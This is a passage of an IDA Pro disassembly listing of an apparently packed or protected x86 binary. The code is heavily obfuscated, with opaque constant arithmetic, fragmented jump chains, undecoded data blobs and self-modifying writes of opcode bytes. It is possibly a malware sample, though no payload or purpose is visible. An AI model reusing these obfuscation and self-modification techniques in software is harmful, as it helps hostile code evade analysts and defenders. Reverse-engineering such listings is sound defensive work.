; ---------------------------------------------------------------------------


loc_42E83C:				; DATA XREF: sub_430917+1CBFo
		call	sub_432992
		mov	ds:byte_43219D,	0E8h
		mov	ds:byte_43054D,	87h
		mov	ds:byte_430550,	5Eh
		mov	ds:byte_430551,	0Fh
		mov	ds:byte_431DCE,	0Fh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h	; CODE XREF: sub_4301AC+11EAj
		dd 16D7h, 0E9C300C3h, 2DD0h, 0F6810000h, 0A7D55A35h, 0FFFF79E9h
					; DATA XREF: sub_431410:loc_42FE63o
		dd 0C300FFh, 298FE9h, 51000000h, 430ECDB9h, 363CE900h
		dd 0
; ---------------------------------------------------------------------------


loc_42E898:				; DATA XREF: fzj3qwht:0042EFF7o
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		and	eax, 5B675CFFh
		rol	eax, 18h
		jmp	loc_4310CB
; ---------------------------------------------------------------------------
		dd 0EE80000h, 0C3000000h, 3A65E900h, 64E90000h,	13h, 0DD8B5300h
					; CODE XREF: fzj3qwht:0043173Dj
		dd 1442E9h, 0F7330000h,	6D4E9h,	8890000h, 1DC8E9h, 237DE800h
		dd 0B4E90000h, 0Fh, 0AB3E900h, 0
; ---------------------------------------------------------------------------


loc_42E8EC:				; DATA XREF: fzj3qwht:00432581o
		add	eax, ebp


loc_42E8EE:				; CODE XREF: fzj3qwht:00430260j
		push	edi
		push	7A10CB36h
		pop	edi
		or	edi, 0B4026B69h
		add	edi, 2C64EABFh
		jmp	loc_430FB4
; ---------------------------------------------------------------------------
		align 4


loc_42E908:				; CODE XREF: fzj3qwht:00432272j
		mov	byte ptr [edi],	0Fh
		pop	edi
		add	ecx, 0DB520Bh
		push	offset loc_42F7FD
		jmp	locret_42F7F7
; ---------------------------------------------------------------------------
		dd 0FA810000h, 26F63A9Dh, 3900E9h, 0F000000h, 4C984h, 234CE900h
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F11


loc_42E938:				; CODE XREF: sub_431F11+80Dj
		pop	edi
		and	esi, 44D2FDBDh
		xor	esi, 0FBEF6A7Ah
		call	sub_42EFCF
		add	al, ch		; CODE XREF: sub_43052F:loc_4308D6j
		xchg	eax, esi
		push	cs
; END OF FUNCTION CHUNK	FOR sub_431F11
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_42E950:				; CODE XREF: fzj3qwht:00431C4Cj
		jmp	loc_431118
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h	; CODE XREF: sub_431410+642j
		dd 0E32h, 4C083C3h, 43117D68h, 784E900h, 0
; ---------------------------------------------------------------------------
		xor	eax, 0AE6DD5A0h
		or	eax, 18CF1777h
		add	eax, 553FC9Fh
		jmp	loc_43231A
; ---------------------------------------------------------------------------
		align 4
		dd 0FDB95100h, 0E90042FBh, 1CF2h

; =============== S U B	R O U T	I N E =======================================



sub_42E990	proc near		; CODE XREF: sub_431410+60Ep
		xchg	ebx, [esp+0]
		pop	ebx
		call	loc_431480
		and	edx, esi
		jmp	sub_4316FE
sub_42E990	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 0F581h
		dd 6F84440Dh, 0FDE5840Fh, 27E9FFFFh, 39h, 0E900C35Eh, 0F0Dh
		dd 0CC680000h, 0E9004311h, 3DF2h, 5B241C87h, 878702C6h
		dd 0D68B2434h, 81D5035Eh, 3C2D5CC2h, 2454E926h,	0C30000h
		dd 1DEAC100h, 0D04FC581h, 16E9262Ch, 0Eh, 8B45C700h, 65746365h
		dd 648F4565h, 56005B20h, 34A65E55h, 31A2E924h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301B7


loc_42EA10:				; CODE XREF: sub_4301B7+149Aj
		jnz	loc_42ED1B
		rol	ebx, 12h
		jmp	loc_42ED0A
; END OF FUNCTION CHUNK	FOR sub_4301B7
; ---------------------------------------------------------------------------
		align 10h
		jb	loc_42F7E6
		js	loc_43128E
		jmp	sub_430315
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h	; CODE XREF: fzj3qwht:loc_431CA3p
; ---------------------------------------------------------------------------
		adc	al, 24h
		pop	edx
		mov	byte ptr [eax],	87h
		call	sub_431AED


loc_42EA3F:				; CODE XREF: fzj3qwht:0042F802j
		jmp	locret_431508
; ---------------------------------------------------------------------------
		dd 0DE8B5300h, 0BE241C87h, 42F150h, 0AECE9h, 0C6810000h
		dd 8BD7ED42h, 430CE868h, 38AEE900h, 850F0000h, 2110h, 29DB840Fh
		dd 9E90000h, 32h, 815D5800h, 183A66C0h,	56E8812Ah, 813B8F4Dh
		dd 0E5340E0h, 0A6850F4Ah, 2Ah, 85CD0300h, 2A3DE9C1h, 5A000000h
		dd 0D79687Fh, 815850C9h, 537AABE8h, 3FC0818Ah, 0E923AF97h
		dd 356Eh, 2C870000h, 0E0376824h, 815FC5D9h, 0E1E360F7h
		dd 80C781A8h, 87930AE7h, 0D0E9243Ch, 68000016h,	0B643DA4h
		dd 3A09E9h, 0C0D15800h,	0A199C081h, 6EE96BBBh, 7, 23E18C0Fh
		dd 880F0000h, 43Ch, 3A10820Fh, 7E680000h, 56A858B1h, 3487F18Bh
		dd 0EF28B924h, 51E90042h, 8B000030h, 0C4EE8F5h,	0E9000000h
		dd 11C3h, 3905E9h
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_42F912
; ---------------------------------------------------------------------------
		align 2
		add	ebx, 0ABCA0E5Dh
		jmp	loc_42F29D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4323E7


loc_42EB3D:				; CODE XREF: sub_4323E7:loc_431BC3j
		jnb	near ptr dword_42EF00+4
; END OF FUNCTION CHUNK	FOR sub_4323E7
; ---------------------------------------------------------------------------
		db 0
		db    0
		db 0E9h	; é
		db 0DFh	; ß
		db  0Eh
		db    0
		db    0
		db 0F7h	; ÷
		db 0C5h	; Å
		db 0BFh	; ¿
		db  99h	; ™
		db 0B1h	; ±
		db 0CFh	; Ï
		db 0E9h	; é
		db  98h	; ˜
		db  23h	; #
		db    0
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42EB56	proc near		; CODE XREF: sub_431410:loc_432616p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042FAD6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004324E3 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	esi
		push	1EE5CBDBh
		xchg	ecx, [esp+4+var_4]
		mov	esi, ecx
		pop	ecx
		jmp	loc_4324E3
sub_42EB56	endp

; ---------------------------------------------------------------------------
		jl	loc_42F059
		add	ecx, eax
		jmp	loc_431989
; ---------------------------------------------------------------------------
		dd 0E4680000h, 0E900430Fh, 245Ah, 570AE881h, 0F881FB67h
		dd 8D2465C8h, 0BADE9h, 128B0000h, 0A43C2AF6h, 6850Fh, 0BAE90000h
		dd 10h,	0E9243C87h, 1D55h, 0E9F73B00h, 2632h, 17C1C100h
		dd 9758C181h, 0F103DD14h, 1BEFE859h, 0AEE90000h, 0C600000Ah
		dd 0CF688707h, 0E90042ECh, 3179h, 24348700h, 15F2E85Eh
		dd 0E2E90000h, 0E9000007h, 2D02h, 4182F081h, 890FF843h
		dd 3398h, 0FF82E900h, 0FC68FFFFh, 1B9E49DAh, 0FC5C1DEh
		dd 3377E9h, 3C870000h, 5FC78B24h, 93CE881h, 0C0C10807h
		dd 78E88106h, 0E971ED4Fh, 1D26h, 7A8D0F00h, 1300000Eh
		dd 2021E9DEh, 0E8520000h, 9F2h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_42EC41:				; CODE XREF: sub_431686:loc_4310CBj
		add	eax, 0F3F0EDE9h
		or	eax, eax
		jz	loc_42FB23
		push	esi
		push	96844F2Eh
		pop	esi
		xor	esi, 0CEE1DA5Bh
		and	esi, 902E7186h
		jmp	loc_42F33B
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		align 4
		dd 0B8CE8100h, 8105E07Dh, 4BFE8DC6h, 1953E9F8h,	3000000h
					; CODE XREF: fzj3qwht:loc_431D41j
		dd 0E71E8C5h, 0D9810000h, 2D350DD6h, 8F6BF581h,	0F28101C9h
		dd 164F6DD3h, 5396CA81h, 0C2819CF0h, 72654390h,	380BE9h
		dd 2D680000h, 5A3934CAh, 8112C2C1h, 346938C2h, 0D6CA81E1h
		dd 814D70E9h, 31F110FAh, 21B5E98Dh, 19870000h, 1861E9h
		dd 0E8000000h, 1241h, 24148700h, 6268535Ah, 5BE74228h
		dd 0F60C381h, 0CBE9D7DCh, 1Dh, 4C08CF81h, 0C7810983h, 0AE32EAAEh
		dd 0DD5FC703h, 1C68E800h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4316FE


loc_42ED04:				; CODE XREF: sub_4316FE+26Dj
		jmp	loc_42F975
; END OF FUNCTION CHUNK	FOR sub_4316FE
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_4301B7


loc_42ED0A:				; CODE XREF: sub_4301B7-179Ej
		jnb	loc_430EA7
		ror	edi, 0Fh
		sub	edi, ebx
		js	loc_42FA8F


loc_42ED1B:				; CODE XREF: sub_4301B7:loc_42EA10j
		sub	ecx, 33D8C30Dh
		jmp	loc_42FC14
; END OF FUNCTION CHUNK	FOR sub_4301B7
; ---------------------------------------------------------------------------
		align 4


loc_42ED28:				; CODE XREF: fzj3qwht:loc_43062Bj
		mov	byte ptr [edx],	8Bh
		pop	edx
		xor	eax, 0ED7BE5CBh
		rol	eax, 1
		call	loc_42FFDE
		push	offset dword_42FBD0
		jmp	locret_430DBE
; ---------------------------------------------------------------------------
		align 4
		shl	edi, 14h
		jmp	loc_42EF97
; ---------------------------------------------------------------------------


loc_42ED4C:				; CODE XREF: fzj3qwht:004303FFj
		pop	ecx
		or	ecx, 0D84A7015h
		and	ecx, 41F09B30h
		xor	ecx, 0E21DFF6Ah


loc_42ED5F:				; CODE XREF: fzj3qwht:0042EDDCj
		and	ecx, 0BAD399F6h
		xor	ecx, 0CB8ED07Ch
		cmp	eax, ecx
		pop	ecx
		jmp	loc_42FB05
; ---------------------------------------------------------------------------
		align 4
		dd 240C8700h, 8159C18Bh, 183A66C0h, 2BFCE92Ah
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42ED87	proc near		; CODE XREF: sub_4301B7-59Bp
					; fzj3qwht:004318DCj
		xchg	ebx, [esp+0]
		pop	ebx
		push	offset word_42FE22
		jmp	nullsub_128
sub_42ED87	endp

; ---------------------------------------------------------------------------
		align 2


loc_42ED96:				; CODE XREF: fzj3qwht:0042FBB7j
		mov	byte ptr [ecx],	9Dh
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		add	esi, 160EEDBCh
		jmp	loc_431B37
; ---------------------------------------------------------------------------
		align 4
		pop	edx
		rol	edx, 1Eh
		sub	edx, 0E53CBE58h
		rol	edx, 1Bh
		add	edx, 84264892h
		push	offset sub_4301AC
		jmp	loc_430AB0
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
; ---------------------------------------------------------------------------
		fdivr	dword ptr [esi-7EA0B83Eh]
		mov	dword ptr [ebx-7E17E1BCh], 9414F5EFh
		jnb	short loc_42ED5F
		mov	esi, 3B8D0F1Ah
		mov	dword ptr [edi-17h], 8FCh
		mov	esi, [eax]
		jmp	sub_430E46
; ---------------------------------------------------------------------------
		dw 0B00h
		dd 0FB96E9EAh, 0B0E9FFFFh, 2Bh,	0E8008B00h, 0FFFFF974h
		dd 0F482BE00h, 96E90042h, 2Eh, 0E0815800h, 443009E0h, 0F061E881h
		dd 6852DEAFh, 0AAB557F4h, 1659E95Ah, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		mov	eax, offset loc_4301BF
		jmp	loc_42F5B2
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431AED


loc_42EE3D:				; CODE XREF: sub_431AED:loc_4316D0j
		pop	esi
		rol	eax, 1Ch
		or	eax, 1BB14DB6h
		xor	eax, 73E5362Dh
		or	eax, 0FA29AD7Bh
		push	offset byte_43047B
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_431AED
; ---------------------------------------------------------------------------

locret_42EE5D:				; CODE XREF: fzj3qwht:00430D62j
		retn
; ---------------------------------------------------------------------------


loc_42EE5E:				; CODE XREF: fzj3qwht:004307F2j
		jmp	loc_430EA7
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFA71h, 0E9D62300h, 1D68h, 85680000h, 0E9004310h
		dd 15C4h, 0B645E181h, 12E96A13h, 35h, 0BF58C0Fh, 0DF1B0000h

; =============== S U B	R O U T	I N E =======================================



sub_42EE90	proc near		; CODE XREF: sub_431452:loc_431517p

; FUNCTION CHUNK AT 0042FEF6 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		jmp	loc_42FEF6
sub_42EE90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		push	offset aHSoxbstxpchC ; "hÝš‘®Xè’•¯—hê(C"
		jmp	locret_42FF52
; ---------------------------------------------------------------------------
		dd 0A0C015FFh, 0E8520042h, 34FAh, 0DCE90000h, 4, 316EE800h
		dd 0E9000000h, 20Ah, 0C6C10000h, 5C6811Fh, 3200022h, 0F2E368C6h
		dd 5E90042h, 4,	42EBCF68h, 333AE900h
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_42EEE9:				; DATA XREF: sub_431452+8E3o
		push	edi
		push	49D322Eh
		pop	edi
		jmp	loc_431502
; ---------------------------------------------------------------------------


loc_42EEF5:				; CODE XREF: fzj3qwht:loc_42EF3Ej
		push	edx
		mov	edx, offset dword_43263C
		jmp	loc_431635
; ---------------------------------------------------------------------------
dword_42EF00	dd 0E90B9C00h, 183FC681h, 63E9BD4Dh, 0FFFFFFh
					; CODE XREF: sub_4323E7:loc_42EB3Dj
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431167


loc_42EF10:				; CODE XREF: sub_431167:loc_430E98j
		mov	eax, ecx
		xchg	eax, [esp+0]
		lea	eax, byte_431DCE
		push	eax
		mov	eax, offset loc_430C96
		jmp	loc_430025
; END OF FUNCTION CHUNK	FOR sub_431167
; ---------------------------------------------------------------------------
		align 4


loc_42EF28:				; CODE XREF: fzj3qwht:004324B0j
		add	al, 0D5h
		add	edx, 8FA0DCAEh
		mov	edx, [edx]
		jmp	loc_43230D
; ---------------------------------------------------------------------------
		align 4
		jb	loc_432512


loc_42EF3E:				; CODE XREF: fzj3qwht:0042F13Cj
		jmp	loc_42EEF5
; ---------------------------------------------------------------------------
		align 4
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		push	ebp
		mov	ebp, esp
		call	sub_431452
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431452


loc_42EF52:				; CODE XREF: sub_431452+155j
		jmp	loc_430598
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		align 4
		dd 0E9EA3B00h, 1300h, 24148700h, 0B68525Ah, 516DBA1Ah
		dd 0C87C88Bh, 0A4366824h, 66E9CA43h, 0FFFFFBh, 24348700h
		dd 8B243C87h, 96E95FF7h, 0E800000Bh, 3316h, 85FE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_42EF97:				; CODE XREF: fzj3qwht:0042ED47j
		xchg	edi, [esp]
		pop	edi
		mov	byte ptr [ebx],	3
		pop	ebx
		jmp	loc_42F38D
; ---------------------------------------------------------------------------
		dd 0E9F73B00h, 325Ah, 0C74E89Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF6B


loc_42EFB2:				; CODE XREF: sub_42FF6B-226j
		jmp	loc_432476
; END OF FUNCTION CHUNK	FOR sub_42FF6B
; ---------------------------------------------------------------------------
		align 4


loc_42EFB8:				; CODE XREF: fzj3qwht:loc_43231Aj
		mov	byte ptr [eax],	0Fh
		pop	eax
		add	eax, 835E3283h
		or	eax, 6BE77C8Ah
		call	sub_431410
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42EFCF	proc near		; CODE XREF: sub_431F11-35CCp

; FUNCTION CHUNK AT 004304D0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00430761 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043077E SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		mov	edx, esi
		xchg	edx, [esp+0]
		jmp	loc_430761
sub_42EFCF	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	0
		push	42BC145Ch
		pop	eax
		push	ebx
		jmp	loc_42FAB8
; ---------------------------------------------------------------------------
		align 2
		xchg	edi, [esp]
		pop	edi
		push	0F16A060Ch
		push	offset loc_42E898
		jmp	locret_43012D
; ---------------------------------------------------------------------------
		align 2
		xor	ecx, 4AFA3F1Eh
		popf
		cdq
		idiv	ecx
		mov	[ebp-8], eax
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-8], 0
		jmp	loc_430A24
; ---------------------------------------------------------------------------
		align 4
		dd 0E9F83300h, 385Fh, 0DF685200h, 5A05EA83h, 9EF7F281h
		dd 0C2815DE0h, 524D8661h, 95A6E281h, 0EA819643h, 509172ECh
		dd 26DEE9h, 0C3000000h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42F04D	proc near		; CODE XREF: fzj3qwht:004309DEj
					; fzj3qwht:00430BCBp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004308AD SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		xchg	edi, [esp+0]
		mov	eax, edi
		pop	edi
		mov	[esi], eax
		pop	esi


loc_42F059:				; CODE XREF: fzj3qwht:0042EB6Bj
		pushf
		call	sub_4312D7


loc_42F05F:				; CODE XREF: sub_430315+Aj
		jmp	loc_4308AD
sub_42F04D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0F0685000h, 5816BD4Ch, 0E90CC0C1h, 0FFFFF871h, 58240487h
		dd 7D0D689Ch, 8159F794h, 418DD4F1h, 0FAE957D7h,	5500001Eh
		dd 2C87EB8Bh, 0ECFBBB24h, 46E90042h, 2Ch, 7DC78100h, 874D102Dh
		dd 3159240Ch, 850F49C2h, 3372h,	204AE9h, 8B0F0000h, 1C6Ch
		dd 8C26E981h, 0F8685644h, 0E90042FCh, 1D30h, 0D1870000h
		dd 6B59E381h, 0E9815DDAh, 0D603131h, 8DFE9h, 0C2810000h
		dd 0BA4757FAh, 25CEE9h,	0C30000h, 0C1C1E913h, 3AE0811Ah
		dd 81163211h, 2E8703C0h, 53C5037Fh, 0C52DA968h,	98E95B9Ch
		dd 1Ch,	3369810Fh, 93E90000h, 87000003h, 3798E92Eh, 89000000h
		dd 17ECE911h, 0
		dd 1AC2840Fh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_42F134:				; CODE XREF: sub_431F5F-1446j
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		align 2
		sub	ebx, ecx
		jle	loc_42EF3E
		adc	esi, 0D22D44C4h
		mov	edi, ebx
		jmp	loc_430BF4
; ---------------------------------------------------------------------------


loc_42F14F:				; DATA XREF: sub_42F4AE:loc_43045Ao
		dec	ecx
		pop	dword ptr [ebp+32CCh]
		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp]
		mov	esi, offset byte_42FA73
		jmp	loc_431F76
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_42F167:				; CODE XREF: sub_431F5F+11j
		jnz	loc_4311F0
		jmp	loc_43112B
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		dw 0C600h
; ---------------------------------------------------------------------------
		add	esp, edi
		pop	ecx
		and	edx, 0C7760987h
		sub	edx, 8138A0BCh
		jmp	loc_4326D5

; =============== S U B	R O U T	I N E =======================================



sub_42F188	proc near		; CODE XREF: fzj3qwht:004302F1j

; FUNCTION CHUNK AT 0042F9E4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043197D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431C6E SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	3
		pop	eax
		push	0BBE934A2h
		pop	esi
		and	esi, 66EAE457h
		cmp	esi, 69421CB2h
		jmp	loc_43197D
sub_42F188	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F1A7:				; DATA XREF: sub_43041D-10EEo
		push	edi
		push	70AFED03h
		pop	edi
		sub	edi, 0D94413C9h
		rol	edi, 14h
		add	edi, 6C9985FCh
		jmp	loc_42F3DB
; ---------------------------------------------------------------------------
		xor	edi, eax
		jmp	loc_43264B
; ---------------------------------------------------------------------------


loc_42F1C9:				; CODE XREF: fzj3qwht:0042FE4Cj
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	83D7BDF0h
		jmp	loc_43180A
; ---------------------------------------------------------------------------
		add	edx, 8B68BECEh
		or	edx, 7BDE42BAh
		xor	edx, 907FFCFBh
		add	edx, 10A155E7h
		jmp	loc_43062B
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42F1F8:				; CODE XREF: sub_42F4AE:loc_42F4E0j
		mov	edx, esi
		pop	esi
		and	edx, 4CD3CB6Eh
		add	edx, 0B3F0012Ah
		call	sub_430B68
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		dd 1C870000h, 51505B24h, 0E1E9CF8Bh, 13000022h,	0F4DB81C5h
		dd 0E9314B9Ch, 0CA8h, 0FAE80000h, 2300001Dh, 0FD2BE9CBh
		dd 0F00FFFFh, 0FFFEB88Dh, 0CC830FFFh, 81000003h, 6AB0A6D9h
		dd 0FEA2E9FAh, 0C300FFFFh, 13DBE900h, 73E90000h, 0FFFFFFh
		dd 2033E900h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42F263	proc near		; CODE XREF: fzj3qwht:loc_430A50p
					; fzj3qwht:00430DC4j
		xchg	esi, [esp+0]
		pop	esi
		push	5E4244D3h
		pop	esi
		or	esi, 0D715F8E6h
		jmp	loc_42F73C
sub_42F263	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebx, [edx]
		jmp	loc_432804
; ---------------------------------------------------------------------------
		align 10h
		dd 241C8700h, 20D2E8h, 0E9000000h, 2D4Fh, 0CDC10000h, 0E9D70319h
		dd 1D8Dh
		db 0
; ---------------------------------------------------------------------------


loc_42F29D:				; CODE XREF: fzj3qwht:0042EB38j
		jge	loc_4328A5
		call	loc_4314E1
; START	OF FUNCTION CHUNK FOR sub_430C8C


loc_42F2A8:				; CODE XREF: sub_430C8C+Dj
		jmp	loc_42F671
; END OF FUNCTION CHUNK	FOR sub_430C8C
; ---------------------------------------------------------------------------
		and	edi, ecx
		jmp	sub_430C8C
; ---------------------------------------------------------------------------
		push	50E0B77Fh
		pop	ecx
		add	ecx, 955E3D35h
		rol	ecx, 19h
		xor	ecx, 9FC8C517h
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		jmp	loc_431A72
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42F2D4:				; CODE XREF: sub_42F4AE+DEj
					; fzj3qwht:loc_42FAB8j
		mov	ebx, offset nullsub_138
		jmp	loc_4325E1
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Eh
; ---------------------------------------------------------------------------


loc_42F2E4:				; CODE XREF: fzj3qwht:loc_4322A0j
		push	(offset	loc_430364+1)
		jmp	loc_4322E3
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42F2F0:				; CODE XREF: sub_42F4AE+17j
		xchg	ebx, [esp-4+arg_0]
		xchg	eax, [esp-4+arg_0]
		mov	ebx, eax
		pop	eax
		add	ecx, 0DF6D33BFh
		popf
		push	offset byte_4317BD
		jmp	loc_432376
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 4
		dd 0E89D008Bh, 1D82h, 0E9990000h, 2D10h, 243C8700h, 84C685Fh
		dd 0F5E90043h, 0Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43041D


loc_42F32C:				; CODE XREF: sub_43041D-D0Ej
					; fzj3qwht:0042F71Aj
		xchg	ebx, [esp+0]
		push	offset loc_42F1A7
		jmp	loc_43083D
; END OF FUNCTION CHUNK	FOR sub_43041D
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_42F33B:				; CODE XREF: sub_431686-2A24j
		xor	esi, 398EA582h
		push	ecx
		mov	ecx, offset loc_430CB2
		jmp	loc_42FEB9
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------


loc_42F34C:				; CODE XREF: fzj3qwht:loc_43108Fj
		sub	edx, 8875A63Eh
		and	edx, 96965202h
		sub	edx, 40F27304h
		js	loc_432679
; ---------------------------------------------------------------------------
		dd 8E90000h, 0FFFFFFEh,	0DB581h, 0E9318700h, 3301h, 24048700h
					; CODE XREF: fzj3qwht:004326AFj
		dd 8B242C87h, 6C65DC5h,	77E85E8Bh, 0Eh
		db 0
; ---------------------------------------------------------------------------


loc_42F38D:				; CODE XREF: fzj3qwht:0042EF9Fj
		jmp	loc_430BAB
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 35B9E900h, 0C3000000h, 64C08100h, 0E92B73E9h, 657h
		dd 0F842820Fh, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_42F3B0:				; CODE XREF: sub_431686-D23j
		jmp	loc_430CA0
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Ah
; ---------------------------------------------------------------------------
		or	edi, 89137F78h
		and	eax, ebp
		test	ebp, 70A12882h
		jmp	loc_430130
; ---------------------------------------------------------------------------
		align 4
		dd 8B02C600h, 3102C65Ah, 34A9E85Ah
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_42F3DB:				; CODE XREF: fzj3qwht:0042F1BDj
		jmp	loc_42F5F2
; ---------------------------------------------------------------------------
		dd 588D0F00h, 0C1000013h, 2A8B1BC3h, 4CE93189h,	13h, 3571B4BBh
					; CODE XREF: sub_42F4AE+2A12j
		dd 0E9D81B18h, 120Ah, 24048799h, 8B243487h, 0C0815EC6h
		dd 9F74F076h, 42F02568h, 0A1DE900h, 0
; ---------------------------------------------------------------------------
		mov	edx, 0BCF8139h
		jnp	loc_42F99E
		jmp	sub_431F11
; ---------------------------------------------------------------------------
		dd 3B680000h, 0E9004316h, 0B42h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
		dw 0E900h
		dd 1E7Bh, 0F7810000h, 968894FBh, 8B5FC703h, 0CA689C00h
		dd 59D941CBh, 2F0EE9h, 87000000h, 487241Ch, 58D88B24h
		dd 0E9243C87h, 0F3h, 0E7840F00h, 51000013h, 42EF49B9h
		dd 0FAC6E900h, 0FFFFh
; ---------------------------------------------------------------------------

locret_42F480:				; CODE XREF: fzj3qwht:00432815j
		retn
; ---------------------------------------------------------------------------


loc_42F481:				; DATA XREF: fzj3qwht:00432810o
		popf
		inc	ecx
		add	[ecx+ebx*4], ch
		push	0D31428Ch
		pop	edx
		or	edx, 0C7FFAF9Bh
		jmp	loc_4312BC
; ---------------------------------------------------------------------------
		align 4
		mov	esi, ebp
		pop	ebp
		pushf
		push	ecx
		push	0D02DBA39h
		xchg	edi, [esp]
		mov	ecx, edi
		pop	edi
		jmp	loc_431D4E
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_42F4AE	proc near		; CODE XREF: sub_42EE90+106Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0042F1F8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042F2D4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042F2F0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042FBA7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042FBEB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042FCB8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042FDFB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042FE7E SIZE 00000013 BYTES
